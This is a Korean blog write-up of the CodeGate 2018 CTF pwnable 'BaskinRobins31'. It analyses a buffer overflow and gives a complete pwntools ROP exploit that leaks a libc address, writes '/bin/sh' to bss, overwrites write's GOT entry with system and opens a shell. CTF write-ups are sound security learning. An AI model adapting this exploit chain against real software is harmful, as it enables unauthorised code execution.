CodeGate 2018 - BaskinRobins31

2021. 6. 12. 00:24문제연습/CTF 실전

반응형

본 티스토리 블로그는 PC 환경에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

CodeGate 2018 - BaskinRobins31

본 네이버 블로그는 모바일 환경에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 ...

blog.naver.com



CodeGate 2018 ::

BaskinRobins31
Pwnable

1. 파일 정보


2. 실행 화면


3. 헥스 레이 분석을 통한 디컴파일 코드

main, my_turn, your_turn


해당 코드를 확인해보니 hint는 ROP라고 적혀 있습니다.
기본적으로 공격을 시행하기 위해서는 오버플로가 발생할만한 입력 부분이 존재해야 합니다.
(추가적으로 memory leak도 가능하면 쉘따기가 수월해지겠죠!)

일단 오버플로 취약점이 발생하는 부분을 확인해보니 your_turn 함수안에
버퍼 사이즈를 잘못 지정한 부분이 존재했습니다.

memset 함수를 이용해 0x96 바이트만큼 초기화하고 있고 이후 read 함수를 이용해 0x190 바이트 사이즈만큼 입력을 받고 있으며, 0x190 – 0x96 = 250 바이트만큼의 초과 입력을 받고 있음을 알 수 있습니다.

정확한 페이로드를 작성하기 위한 스택 프레임 정보를 확인해 보도록 하겠습니다.

해당 바이너리는 64bit이고 &s과 read 함수 간의 버퍼 오버플로를 이용하여 ret을 덮어버리기 위해서는 0xb0+0x8만큼만 입력해 주면 됩니다.
일반적인 ROP 공격처럼 오버플로를 이용하여 read나 write 함수들의 got 실제 주소를 구하여 system 함수 주소로 덮어 버리면 간단히 해결될 것 같습니다.

- chaining을 위한 가젯

gdb 실행 후 start 명령을 실행한 다음 ropgadget 검색 명령어를 통해 정보를 수집할 수 있습니다.


- got overwriting & 쉘 명령어 실행을 위한 함수들의 plt, got, bss 영역 주소
대부분 직접 구할 필요 없이 바로 pwntools 기능을 이용하였습니다.

e = ELF("./BaskinRobins31") read_plt = e.plt['read'] read_got = e.got['read'] write_plt = e.plt['write'] write_got = e.got['write'] bss = e.bss()


- system 함수의 실제 주소를 구하기 위한 offset 정보
직접 검색하는 것이 번거로워서 libc DB를 이용해 read 함수 기준의 offset을 검색하였습니다.



이제 모든 정보가 모였으므로 기존의 ROP Exploit 형태의 코드를 작성하시면 됩니다.
추가적으로 payload += p64(bss) + p64(0) + p64(0) 부분은 p3r 가젯을 이용하고 있어서 그냥 인자 수만 맞추기위해 임의적으로 + p64(0) + p64(0)를 집어넣었습니다.

최종 완성된 코드는 아래와 같습니다.

from pwn import * e = ELF("./BaskinRobins31") read_plt = e.plt['read'] read_got = e.got['read'] write_plt = e.plt['write'] write_got = e.got['write'] bss = e.bss() p3r_gadget = 0x40087a offset = -0xc0bf0 payload = "A" * 0xb8 #stage1 -> read got address leak & find system addr payload += p64(p3r_gadget) payload += p64(1) + p64(read_got) + p64(8) payload += p64(write_plt) #stage2 -> write bin/sh in bss payload += p64(p3r_gadget) payload += p64(0) + p64(bss) + p64(8) payload += p64(read_plt) #stage3 -> overwrite write_got to system payload += p64(p3r_gadget) payload += p64(0) + p64(write_got) + p64(8) payload += p64(read_plt) #stage5 -> play shell!!! payload += p64(p3r_gadget) payload += p64(bss) + p64(0) + p64(0) payload += p64(write_plt) p = process("./BaskinRobins31") p.sendline(payload) sleep(1) read_addr = u64(p.recv()[-8:]) system = offset + read_addr p.send("/bin/sh\x00") sleep(1) p.send(p64(system)) sleep(1) p.interactive()

정상적으로 쉘을 따낸 화면입니다!!!

반응형

'문제연습 > CTF 실전' 카테고리의 다른 글

CodeGate 2018 - droid.apk  (0) 2021.09.29
SECCON Quals 2015 - rock_paper_scissors  (0) 2021.06.11
Defcamp CTF Quals 2015 - r100  (0) 2021.06.05
CodeGate 2012 - Forensic 100 연습  (0) 2020.03.16